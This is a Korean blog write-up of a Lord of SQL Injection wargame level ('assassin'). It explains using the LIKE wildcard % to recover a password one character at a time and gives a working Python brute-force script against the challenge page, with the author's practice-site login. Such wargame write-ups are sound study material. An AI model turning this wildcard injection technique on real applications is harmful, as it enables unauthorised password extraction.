Lord Of Sql injection
LOS 15번 ASSASSIN
Dork94
2019. 1. 12. 08:19
이번 문제는 LIKE를 이용한 문제네요!
LIKE는 = 과는 다르게 와일드카드를 이용할 수 있다는 점이 있습니다.
따라서 저는 패턴 검색을통해 x* xx*과 같이 맞는 패턴을 하나씩 찾아 나가기로 했어요.
LIKE에서는 %을 붙이면 와일드카드
*와 같은 효과를 나타냅니다.
그래서 저는 Python을 이용해 코딩을 했습니다.
이때 Guest와 Admin이외에 계정은 없다고 먼저 산정하고 코드를 짰는데 운좋게 걸려든 것 같네요.
추후 시간이 된다면 탐색 알고리즘을 생각해서 다시 짜보고 싶은 문제였습니다 :)
from bs4 import BeautifulSoup
import requests
def login(id, pw):
url = 'https://los.rubiya.kr/?login'
data = {'id': id, 'pw': pw}
res = requests.post(url, data=data)
if res.status_code != 200:
print('Please check server status.')
exit(1)
if res.text.find('fail') != -1:
print('Please check your id or pw')
exit(1)
print('Login Success!')
return res.cookies.get_dict()
cookie = login('d0rk','d0rkd0rk')
pw_list=list()
url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw='
while True:
sub_pw=list()
for i in range(0, 10):
res = requests.get(url + str(i)+'%25', cookies=cookie)
soup = BeautifulSoup(res.text, 'html.parser')
h2s = soup.find_all('h2')
if h2s:
for h2 in h2s:
if h2.text.find('Clear') != -1:
print('Clear This Stage! ')
pw_list.append(i)
print(pw_list)
exit(0)
else:
print(i)
sub_pw.append(i)
pw_list.append(sub_pw.copy())
url += str(sub_pw.pop())